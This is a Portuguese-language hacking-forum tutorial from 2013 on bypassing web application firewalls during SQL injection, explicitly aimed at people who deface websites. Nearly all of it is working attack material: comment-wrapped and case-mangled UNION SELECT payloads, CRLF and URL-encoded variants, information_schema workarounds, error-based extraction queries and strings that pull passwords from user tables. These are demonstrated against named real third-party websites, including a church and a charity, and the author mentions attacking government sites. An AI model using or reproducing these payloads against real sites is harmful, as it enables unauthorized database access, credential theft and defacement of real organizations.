# # # # # # # # # # # # # # # # # # # # # # # # # #
Conteúdo Exclusivo para o Guia do Hacker
# # # # # # # # # # # # # # # # # # # # # # # # # #
Conteúdo Exclusivo para o Guia do Hacker
# # # # # # # # # # # # # # # # # # # # # # # # # #
Olá galera do GH esse mega tutorial é exclusivo do Forum Guia do Hacker. então vamos lá. ultimamente muitos amigos vem pedir ajuda com Deface no seguinte Assunto:
"Me ajuda Eu não consigo unir as tabelas no deface to fazendo SQL Injection e da erro de Forbitten"
isso faz como que nos Amantes do Deface fiquemos frutados e pulemos de Sites mas isso não é bom e é cansativo.
Esse erro é nada mais nada menos que tem um "Firewall" ou "Filtro"no Site que impede nos amantes do Deface de unir as tabelas para prosseguir com o Ataque ao Site destinado
bom então de Hoje endiante seus problemas estão acabados hehe
vou ensinar o Metodo de Como Bular o "Firewall" ou "Filtro"
Bom galera vou logo falando se você não sabe fazer SQL Injection Avançado"Manualmente" é melhor nem ler o Resto, porque você vai ficar voando u.u
Obs: Se algum Site que eu usei de Exemplo não estiver mais Online, é porque algum lammer Ownou ele. então não faça isso! deixe para os outros que querem apreender.
Introdução
[ó.Ò] Técnica Bypassing [WAF]
[+] comentário técnica WAF Bypass
[+] A substituição técnica de palavras-chave
[+] WAF Bypassing - usando caracteres.
[+] Advanced WAF Bypassing – Capitalization.
[+] técnica CRLF WAF Bypass
[+] Erros Fatais Ocorrido no bypassing
[+] Bypass com information_schema.tables
[+] Buffer Overflow bypassing
[-_-] Alguns truques
[*-*] UNION ALL SELECT "Bypassing"
[*-*] Bypassing Group Concat
[*-*] pybassing LIMITE
[*-*] parâmetro nulo
[*-*] Se a coluna não aparece
[*-*] Código unhex (hex)
[*-*] Requested para WAF bypassing
# # # # # # # # # # # # # # # # # # # # # # # # # #
O que é WAF ?
# # # # # # # # # # # # # # # # # # # # # # # # # #
WAF Significa Web Application Firewall. A fim de evitar os ataques
como SQLii e XSS, os administradores colocam Aplicação Web Firewalls.
O WAF's detecta tentativas strings mal-intencionada como UNION ALL SELECT, GROUP CONCAT etc..
as Strings definidas que serão usadas para evitar as injeções de códigos estarão
definidas dentro de uma lista Negra (BlackList). Com o Método que eu ensinarei
os sites vulneráveis ??com "Firewall" ou "Filtro" podem ser facilmente ignorados.
# # # # # # # # # # # # # # # # # # # # # # # # # #
Como funciona?
# # # # # # # # # # # # # # # # # # # # # # # # # #
Quando o WAF detecta tentativas de Injeção de Strings maliciosas, o URL/Link de entrada fica Bloqueado Com a maioria das Vezes esse Erro
O nosso objetivo é "passar" pelo Servidor Firewall para que este erro
não venha aparecer e sim o site normalmente para prosseguir com o ataque.
Existem muitos métodos para Bypassing WAF. Agora vou falar sobre um pequeno truque para o Inicio.
Vou explicar o que WAF o que ele realmente faz em
um site / servidor.
WAF é: Web Application Firewall, seu objetivo é filtrar
um monte de nossos personagens consultas.
Tenho alguns sites para o exemplo que vamos usar como "Estudos" para apreender este Fascinante Método.
Olhe o Exemplo Abaixo:
Código:
www.agarestutorial.com/noticias.php?id=244 union all select 1,2,3,4,5,6,7--
Como na imagem acima. então vamos lá.
[+] Comentário técnica WAF Bypass
Strings que iremos usar.
Código PHP:
/*! */
/*!50000 */
É a forma mais comum de passar pelo Firewall de um site.
Desta forma, o WAF pensa que é um comentário e uma injeção de Strings Maliciosas.
É claro que se o WAF tem uma filtragem mais avançada isso poderia não funcionar.
Mas eu vou ensinar Diversos Métodos para isso não se preocupe rs'
Como usar comentando em SQL Injection:
Código:
http://www.helmetgames.com/game.php?ID=-25 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13--
Veja que retornou um erro... então esse site tem um Firewall ou Filtro então vamos da Bypassing nele
Se juntamos a String a cima
Código PHP:
/*! */
/*!50000 */
Código:
www.helmetgames.com/game.php?ID=-25+/*!50000union*/+select+1,2,3,4,5,6,7,8,9,10,11,12,13--
OMG!!!! issu é Mágica herheherh.
veja que retornou as colunas vulneraveis para que continue com o Ataque SQL Injection...
mas eu não vou ensinar o SQL Injetion aqui.. não é só para quem já sabe.
[+] A substituição técnica de palavras-chave
Não há maneira de executar o nosso vetor então vamos ir substituindo as palavras-chave.
Agora, como vamos fazer isso ? nós agora tem que saber a união filtros WAF para a seleção.
Deixe para filtrar união para seleção
Isto é o que vamos fazer:
Código:
+UnIoN+SeLselectECT+
Quando ele filtra as palavras-chave do UNION - SELECT ele irá formar uma palavra novamente.
Alguns filtros não pode ser substituído duas vezes.
Código:
http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+Union+select+1,2,3,4,5,6,7,8,9--
veja que ocorreu um erro na união das tabelas isso significa novamente que exite um Firewall ou Filtro como somos "hackers" vamos bular novamente heherh
vamos olhar o code abaixo:
Código:
www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-130+UnIoN+SeLselectECT+1,2,3,4,5,6,7,8,9--
OMG novamente fizemos Mágica (BLINKS) passamos novamente pelo firewall...
agora podemos prosseguir com o ataque ao site.
[+] WAF Bypassing - usando caracteres.
Bom galera eu não consegui nenhum site para mostrar de exemplo mas vou tentar explicar usando um site fake. Lest's Go.
Todo um conjunto de caracteres disponíveis que podemos usar para passar o Firewall ou Filtro
As seguintes Strings podem fazer isso.
Código PHP:
Código PHP:
? |,, ", ', *,%, £, [],;:, \ /, $, €, () ...
Nestes casos, pode simplesmente usar o caractere * para dividir as palavras-chave.
Gostaríamos de fazer a próxima coisa lógica:
Código PHP:
www [site] .com / index.php id = -1 + uni * em * + sel ect +1,2,3,4 - + -
Mas, neste caso, só * é filtrado pelo foi substituindo por um espaço com o mesmo resultado que em palavras-chave.
[+] Advanced WAF Bypassing – Capitalization.
Outra maneira é simplesmente aproveitar as nossas Strings
Em vez de união(UNION) em alguns mais básicos de WAF iria funcionar como um +
exemplo:
Código PHP:
www.[site].com/index.php?id=-1+UnIoN+SeLeCt+1,2,3,4--+-
CR LF Significa " Carriage Return, Line Feed "
que é uma ressaca DOS dos velhos tempos de quando alguns dispositivos necessário um retorno de carro , e alguns dispositivos eram necessário para um avanço de linha e para obter uma nova linha teria que inovar Certo ? se é que me entende, então a Microsoft decidiu apenas fazer uma nova linha, de modo que seria a saída corretamente em todos os dispositivos.
Programas do Windows esperam que seu formato de nova linha de CRLF ( \ r \ n). * nix esperar apenas dados LF (\ n) . Se você abrir um documento de texto no bloco de notas Unix no Windows, você vai perceber que todas as quebras de linha que irar desaparecer e todo o documento em uma linha . Isso porque o bloco de notas espera dados CRLF , eo documento Unix não tem o caráter \ r .
Existem programas na internet grátis, que irá converter isso para você em um padrão * nix distro ( dos2unix e unix2dos )
vamos ao exemplo:
Syntax :
Código:
%0A%0D+Mysql Statement's+%0A%0D
Código:
?id=-2+%0A%0D/*!%0A%0Dunion*/+%0A%0D/*!50000Select*/%0A%0D/*!+77771,77772,unhex(hex(/*!password*/)),77774+from+/*!`users`*/-- -
Código PHP:
http://fpchurch.org.uk/News/view.php?id=-26+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5%20--
se voce tentar assim irar da um erro. sinal que existe o Filtro lá;
Código PHP:
http://fpchurch.org.uk/News/view.php?id=-26+ union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
[+] Erros Fatais Ocorrido no bypassing
Então vamos lá eu não tenho muito o que explicar nessa seção do Tutorial porque é um erro não tem muito o que se falar só mostrar
Para entender como podemos ignorar o Erro Fatal que Ocorreu
Veja o exemplo abaixo.
Código PHP:
http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,5,6,7,8--
veja que ocorreu o erro... olhe o exemplo abaixo também
Código:
http://wwfa.org.uk/article.php?id=-174 UNION SELECT null,2,3,4,5,6,7,8-- Error http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,null,3,4,5,6,7,8-- Error http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,null,4,5,6,7,8-- Error http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,null,5,6,7,8-- Error http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,null,6,7,8-- No Error
então achei a coluna vulneravel que é a "7"
Exemplo de Bypassing
Código PHP:
http://wwfa.org.uk/article.php?id=-174 UNION SELECT 1,2,3,4,null,6,7,8--
dinovo Eu sou mágico u.u (zoa.)
veja como é simples hein ?
[+] Bypass com information_schema.tables
Agora vou mostrar-lhe muitos método para Bypass information_schema.tables
Com Espaço
Código:
information_schema . tables
Código:
`information_schema`.`tables`
Código:
/*!information_schema.tables*/
Método Encoded
Código:
FROM+information_schema%20%0C%20.%20%09tables
Código:
(select+group_concat(table_name)`foo`+From+`information_schema`.`tAblES`+Where+table_ScHEmA=schEMA())
Técnica Nomes alternativos com Site de Exemplo:
Com Nomes Alternativos
Código:
information_schema.statistics informa tion_schema.key_column_usage information_schema.table_constraints information_schema.partitions
Exemplo com [information_schema.statistics] (tabela)
Código PHP:
fpchurch.org.uk/News/view.php?id=-26+union+select+1,group_concat(table_name),3,4,5+from+information_schema.statistics --
Exemplo com [information_schema.key_column_usage] (Coluna)
Código PHP:
http://fpchurch.org.uk/News/view.php?id=-26+union+select+1,column_name,3,4,5+from+information_schema.key_column_usage+whe?re+table_name=0x7573657273 --
Que fácil não é ? então por agora é só.
vamos para parte dos truques e dicas
[-_-] Alguns truques
Bom estarei deixando uma Lista de Strings que podem Ser usadas e Testadas em Sites por diversas vezes até que você consiga da "Bypassing"
Lest's Go
[*-*] UNION ALL SELECT "Bypassing"
Código:
+--+Union+--+Select+--+ +#uNiOn+#sEleCt+ +union+distinct+select+ +union+distinctROW+select+ +union%23aa%0Aselect+ 0%a0union%a0select%09 %0Aunion%0Aselect%0A +UnIoN+SeLselectECT+ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f%2a*/UNION%2f%2a*/SELECT%2f%2a*/ +%2F**%2Funion%2F**%2Fselect+ +UnIoN/*&a=*/SeLeCT/*&a=*/ +%0A%0D/*!%0A%0Dunion*/+%0A%0D/*!50000Select*/%0A%0D /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
[*-*] Bypassing Group Concat
agora para Group Concat.. para mostrar tudas as tabelas do Site...
Código:
group_concat() grOUp_ConCat(/*!*/,0x3e,/*!*/) group_concat(,0x3c62723e) g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29 CoNcAt() concat%00() %00CoNcAt() CONCAT(DISTINCT ) concat(0x3a,,0x3c62723e) /*!50000cOnCat*/ concat_ws() concat_ws(0x3a,) CONCAT_WS(CHAR(32,58,32),version(),) REVERSE(tacnoc) binary(version()) uncompress(compress(version())) aes_decrypt(aes_encrypt(version(),1),1)
Agora para LIMITE pyBypassing
Se o limite não funciona, podemos usar:
Código:
+LIMIT+0,1 +where+id+=1 WHERE ID_Produit='26 -- - +having+id+=1 +and length((select password from users having substr(pass,1,1)=’a'))
não to aqui pra explicar detalhadamente o que é parâmetro nulo se quiser vá no google rs. já to casado de escrever u.u
Código:
id=-1 id=null id=1+and+false+ id=9999 id=1 and 0 id==1 id=(-1) =1=1 +And+1=0 /*!and*/+1=0
[*-*] Se a coluna não aparecer
Bom esse problema já conteceu comigo umas 3 vezes em site do Governo acredito que já deve ter acontecido com você também então aqui a forma de passar -_-
Código:
Having+1=1 +and=0+ +div+0+ replace ' = %23
Código PHP:
http://fpchurch.org.uk/News/view.php?id=-26+div+0+union+select+1,2,3,4,5 --
Código PHP:
fpchurch.org.uk/News/view.php?id=26=26+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(version()+as+char),0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
+union+select 1111,2222,3333--
Código PHP:
http://fpchurch.org.uk/News/view.php?id=-26+div+0+union+select+1111,2222,3333,4444,5555 --
Paint Owned u.u
[*-*] Código unhex (hex)
Código:
unhex(hex(value)) convert(database() using latin1) cast(value as char) uncompress(compress(version())) cast(value as char) aes_decrypt(aes_encrypt(value,1),1) binary(value)
convert()
Código:
gov_db[nomedosite] db_gov site_44411 cp123
Exemplo de Site:
Código PHP:
http://www.andytimmons.com/video.php?id=-0004 UNION SELECT 1,2,convert(database() using latin1),4,5,6,7,8--
# tables #
Código:
/*!50000table_name*/ %0A/*!50000%46roM*/%0A/*!50000%49nfORmaTion_scHema . tAblES*/%0A/*!50000%57here*/%0Atable_ScHEmA=schEMA()%0Alimit%0A0,1
Código:
(/*!50000%53elect*/%0A/*!50000%54able_name*/%0A%0A/*!50000%46roM*/%0A/*!50000%49nfORmaTion_%53cHema . %54AblES*/%0A/*!50000%57here*/%0A%54able_ScHEmA=schEMA()%0Alimit%0A0,1)
Código:
/*!50000column_name*/ %0A%46roM%0AInfORmaTion_scHema . cOlumnS%0A%57heRe%0A/*!50000tAblE_naMe*/=hex table
Créditos: Black Rose
bom por agora é só isso Obrigado a vocês.
Greetz: Alternative # Cr4t3r # Andreol
Especial Thanks:
BlackRoas / por Conseguir os Sites para Exemplo e ajuda com Hex bypassing
BlackRoas / by Getting Sites to Sample and help with Hex bypassing
Algumas Referencias;
Código:
http://security.iam-null.com/php/bypass-preg_replace-ou-pas https://dev.mysql.com/doc/refman/5.0/en/statistics-table.html http://dev.mysql.com/doc/refman/5.0/en/comments.html
Bons Estudos
© Copyright Agares - The God 2013
Comment